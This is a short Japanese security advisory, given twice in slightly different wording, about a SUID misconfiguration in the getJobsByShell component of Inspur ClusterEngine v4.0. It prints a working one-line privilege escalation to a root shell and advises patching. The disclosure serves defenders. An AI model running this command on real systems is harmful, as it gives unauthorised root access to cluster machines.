Inspur ClusterEngineクラスタ管理プラットフォームは、Inspur TianSuoシリーズのHPC製品向けにカスタマイズされたジョブ管理ソフトウェアです。Inspur ClusterEngineにはSUID設定の不備が存在し、非管理者ユーザーが一部のコンポーネントを介して権限を昇格し、root権限を取得できる問題があります。
Inspur ClusterEngine v4.0には、コンポーネント「/opt/tsce4/torque6/bin/getJobsByShell」におけるSUID設定の不備が存在し、非管理者ユーザーがSUIDを介した権限昇格によってroot権限を取得できます。
権限昇格のプロセスは以下のとおりです：
[inspur@mu01 ~]$ whoami
inspur
[inspur@mu01 ~]$ /opt/tsce4/torque6/bin/getJobsByShell /bin/sh
sh-4.2# whoami
root
sh-4.2#
修正提案： 関連コンポーネントをアップグレードしてください
Inspur ClusterEngineクラスタ管理プラットフォームは、Inspur TianSuoシリーズのHPC製品専用に設計されたジョブ管理ソフトウェアです。Inspur ClusterEngineのSUID設定の不備により、非管理者ユーザーが特定のコンポーネントを通じて権限を昇格し、rootアクセスを取得できる可能性があります。
Inspur ClusterEngine v4.0には、コンポーネント「/opt/tsce4/torque6/bin/getJobsByShell」における不適切なSUID設定の問題があり、非管理者ユーザーがSUIDメカニズムを介して権限を昇格し、rootアクセスを取得できます。
権限昇格のプロセスは以下のとおりです：
[inspur@mu01 ~]$ whoami
inspur
[inspur@mu01 ~]$ /opt/tsce4/torque6/bin/getJobsByShell /bin/sh
sh-4.2# whoami
root
sh-4.2#
アドバイザリー： 関連コンポーネントにパッチを適用してください。